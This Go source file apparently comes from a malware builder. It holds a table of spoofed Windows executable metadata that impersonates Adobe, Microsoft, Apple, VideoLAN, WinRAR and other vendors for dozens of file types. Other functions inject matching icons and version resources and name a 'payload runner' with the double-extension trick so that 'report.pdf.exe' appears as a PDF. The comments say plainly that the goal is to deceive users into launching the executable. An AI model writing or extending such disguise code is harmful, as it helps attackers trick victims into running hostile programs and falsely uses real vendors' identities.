package builder

import (
	"encoding/json"
	"fmt"
	"path/filepath"
	"strings"
)

// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
// When injected into the runner, Windows Explorer and Task Manager will show
// this information instead of the generic Go binary defaults.
type fileDisguiseInfo struct {
	FileDescription  string
	ProductName      string
	CompanyName      string
	LegalCopyright   string
	OriginalFilename string // the "real" exe that Windows thinks this is
	FileVersion      string // e.g. "24.0.20112.0"
	ProductVersion   string // e.g. "2024.002.20965"
}

// disguiseByExt maps a lower-case file extension to the PE metadata that makes
// the runner binary look like the legitimate application for that file type.
// Extensions without an entry fall back to a generic Windows shell host entry.
var disguiseByExt = map[string]fileDisguiseInfo{
	// ── Documents ──────────────────────────────────────────────────────────────
	".pdf": {
		FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
		CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
		OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
	},
	".doc": {
		FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
	},
	".docx": {
		FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
	},
	".xls": {
		FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
	},
	".xlsx": {
		FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
	},
	".ppt": {
		FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
	},
	".pptx": {
		FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
	},
	".txt": {
		FileDescription: "Text Document", ProductName: "Notepad",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
	},
	".csv": {
		FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
	},
	// ── Video ──────────────────────────────────────────────────────────────────
	".mp4": {
		FileDescription: "MP4 Video File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	".mkv": {
		FileDescription: "Matroska Video File", ProductName: "VLC media player",
		CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
		OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
	},
	".mov": {
		FileDescription: "QuickTime Movie", ProductName: "QuickTime Player",
		CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
		OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95",
	},
	".avi": {
		FileDescription: "AVI Video File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	".wmv": {
		FileDescription: "Windows Media Video File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	// ── Audio ──────────────────────────────────────────────────────────────────
	".mp3": {
		FileDescription: "MP3 Audio File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	".wav": {
		FileDescription: "Wave Sound File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	// ── Images ─────────────────────────────────────────────────────────────────
	".jpg": {
		FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".jpeg": {
		FileDescription: "JPEG Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".png": {
		FileDescription: "PNG Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".gif": {
		FileDescription: "GIF Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	// ── Audio (extended) ───────────────────────────────────────────────────────
	".flac": {
		FileDescription: "FLAC Audio File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	".aac": {
		FileDescription: "AAC Audio File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	".ogg": {
		FileDescription: "Ogg Vorbis Audio File", ProductName: "VLC media player",
		CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
		OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
	},
	".m4a": {
		FileDescription: "MPEG-4 Audio File", ProductName: "iTunes",
		CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
		OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
	},
	".wma": {
		FileDescription: "Windows Media Audio File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	// ── Video (extended) ───────────────────────────────────────────────────────
	".webm": {
		FileDescription: "WebM Video File", ProductName: "VLC media player",
		CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
		OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
	},
	".m4v": {
		FileDescription: "iTunes Video File", ProductName: "iTunes",
		CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.",
		OriginalFilename: "iTunes.exe", FileVersion: "12.13.2.3", ProductVersion: "12.13.2",
	},
	".flv": {
		FileDescription: "Flash Video File", ProductName: "VLC media player",
		CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
		OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
	},
	".ts": {
		FileDescription: "MPEG-TS Video File", ProductName: "VLC media player",
		CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.",
		OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21",
	},
	".3gp": {
		FileDescription: "3GPP Video File", ProductName: "Windows Media Player",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506",
	},
	// ── Images (extended) ──────────────────────────────────────────────────────
	".bmp": {
		FileDescription: "Bitmap Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".webp": {
		FileDescription: "WebP Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".tiff": {
		FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".tif": {
		FileDescription: "TIFF Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".heic": {
		FileDescription: "HEIF Image", ProductName: "Microsoft Photos",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0",
	},
	".svg": {
		FileDescription: "Scalable Vector Graphic", ProductName: "Microsoft Edge",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
	},
	".ico": {
		FileDescription: "Icon File", ProductName: "Windows Explorer",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
	},
	// ── Archives ───────────────────────────────────────────────────────────────
	".zip": {
		FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
	},
	".rar": {
		FileDescription: "WinRAR archive", ProductName: "WinRAR",
		CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.",
		OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0",
	},
	".7z": {
		FileDescription: "7-Zip Archive", ProductName: "7-Zip",
		CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
		OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
	},
	".tar": {
		FileDescription: "Tape Archive File", ProductName: "7-Zip",
		CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
		OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
	},
	".gz": {
		FileDescription: "GZip Archive", ProductName: "7-Zip",
		CompanyName: "Igor Pavlov", LegalCopyright: "Copyright © 1999-2024 Igor Pavlov.",
		OriginalFilename: "7z.exe", FileVersion: "24.07.0.0", ProductVersion: "24.07",
	},
	// ── Office / Text (extended) ───────────────────────────────────────────────
	".odt": {
		FileDescription: "OpenDocument Text Document", ProductName: "LibreOffice Writer",
		CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
		OriginalFilename: "swriter.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
	},
	".ods": {
		FileDescription: "OpenDocument Spreadsheet", ProductName: "LibreOffice Calc",
		CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
		OriginalFilename: "scalc.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
	},
	".odp": {
		FileDescription: "OpenDocument Presentation", ProductName: "LibreOffice Impress",
		CompanyName: "The Document Foundation", LegalCopyright: "Copyright © 2000-2024 LibreOffice contributors.",
		OriginalFilename: "simpress.exe", FileVersion: "24.8.3.2", ProductVersion: "24.8.3.2",
	},
	".rtf": {
		FileDescription: "Rich Text Document", ProductName: "WordPad",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "wordpad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
	},
	".md": {
		FileDescription: "Markdown Document", ProductName: "Notepad",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
	},
	// ── Web ────────────────────────────────────────────────────────────────────
	".html": {
		FileDescription: "HTML Document", ProductName: "Microsoft Edge",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
	},
	".htm": {
		FileDescription: "HTML Document", ProductName: "Microsoft Edge",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
	},
	".xml": {
		FileDescription: "XML Document", ProductName: "Microsoft Edge",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
	},
	// ── Ebooks ─────────────────────────────────────────────────────────────────
	".epub": {
		FileDescription: "Electronic Publication", ProductName: "Microsoft Edge",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "msedge.exe", FileVersion: "130.0.2849.68", ProductVersion: "130.0.2849.68",
	},
	// ── Adobe Creative ─────────────────────────────────────────────────────────
	".psd": {
		FileDescription: "Adobe Photoshop Document", ProductName: "Adobe Photoshop",
		CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1989-2025 Adobe. All rights reserved.",
		OriginalFilename: "Photoshop.exe", FileVersion: "25.12.0.230", ProductVersion: "25.12",
	},
	".ai": {
		FileDescription: "Adobe Illustrator Artwork", ProductName: "Adobe Illustrator",
		CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1987-2025 Adobe. All rights reserved.",
		OriginalFilename: "Illustrator.exe", FileVersion: "28.7.1", ProductVersion: "28.7.1",
	},
	".indd": {
		FileDescription: "Adobe InDesign Document", ProductName: "Adobe InDesign",
		CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1999-2025 Adobe. All rights reserved.",
		OriginalFilename: "InDesign.exe", FileVersion: "19.5.0", ProductVersion: "19.5.0",
	},
}

// fileDisguiseForExt returns the best disguise metadata for a given file extension.
// Falls back to a generic Windows shell host entry if the extension is not recognised.
func fileDisguiseForExt(ext string) fileDisguiseInfo {
	if info, ok := disguiseByExt[strings.ToLower(ext)]; ok {
		return info
	}
	// Generic fallback — looks like a Windows shell component
	return fileDisguiseInfo{
		FileDescription: "Windows Shell Extension", ProductName: "Windows",
		CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
		OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506",
	}
}

// disguisedRunnerName returns the Windows runner filename that impersonates a
// document type using the double-extension trick:
//
//	"report.pdf"  → "report.pdf.exe"
//	"clip.mp4"    → "clip.mp4.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "report.pdf" with the PDF icon injected by applyDocumentDisguise.
func disguisedRunnerName(payloadName string) string {
	ext := strings.ToLower(filepath.Ext(payloadName))
	if ext == ".exe" || ext == "" {
		// Already an exe payload or no extension — no double-extension trick
		base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
		if base == "" {
			base = "setup"
		}
		return sanitizeFileName(base) + ".exe"
	}
	base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName))
	if base == "" {
		base = "file"
	}
	// e.g. "quarterly-report.pdf.exe"
	return sanitizeFileName(base) + ext + ".exe"
}

// winresVersionJSON builds a go-winres patch JSON that injects an icon (from
// icoRelPath, relative to the winres JSON) and the spoofed version info.
func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) {
	// Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field
	fv := strings.ReplaceAll(info.FileVersion, ".", ",")
	pv := strings.ReplaceAll(info.ProductVersion, ".", ",")

	doc := map[string]any{
		"RT_GROUP_ICON": map[string]any{
			"APP": map[string]any{"0409": icoRelPath},
		},
		"RT_VERSION": map[string]any{
			"#1": map[string]any{
				"0409": map[string]any{
					"FILEVERSION":      fv,
					"PRODUCTVERSION":   pv,
					"FileDescription":  info.FileDescription,
					"FileVersion":      info.FileVersion,
					"InternalName":     strings.TrimSuffix(info.OriginalFilename, ".exe"),
					"LegalCopyright":   info.LegalCopyright,
					"OriginalFilename": info.OriginalFilename,
					"ProductName":      info.ProductName,
					"ProductVersion":   info.ProductVersion,
					"CompanyName":      info.CompanyName,
				},
			},
		},
	}

	return marshalJSONPretty(doc)
}

func marshalJSONPretty(v any) ([]byte, error) {
	return json.MarshalIndent(v, "", "  ")
}

// fileDisguiseSummary returns a one-line human-readable description of what the
// disguise will look like, used for logging.
func fileDisguiseSummary(payloadExt string) string {
	info := fileDisguiseForExt(payloadExt)
	return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName)
}
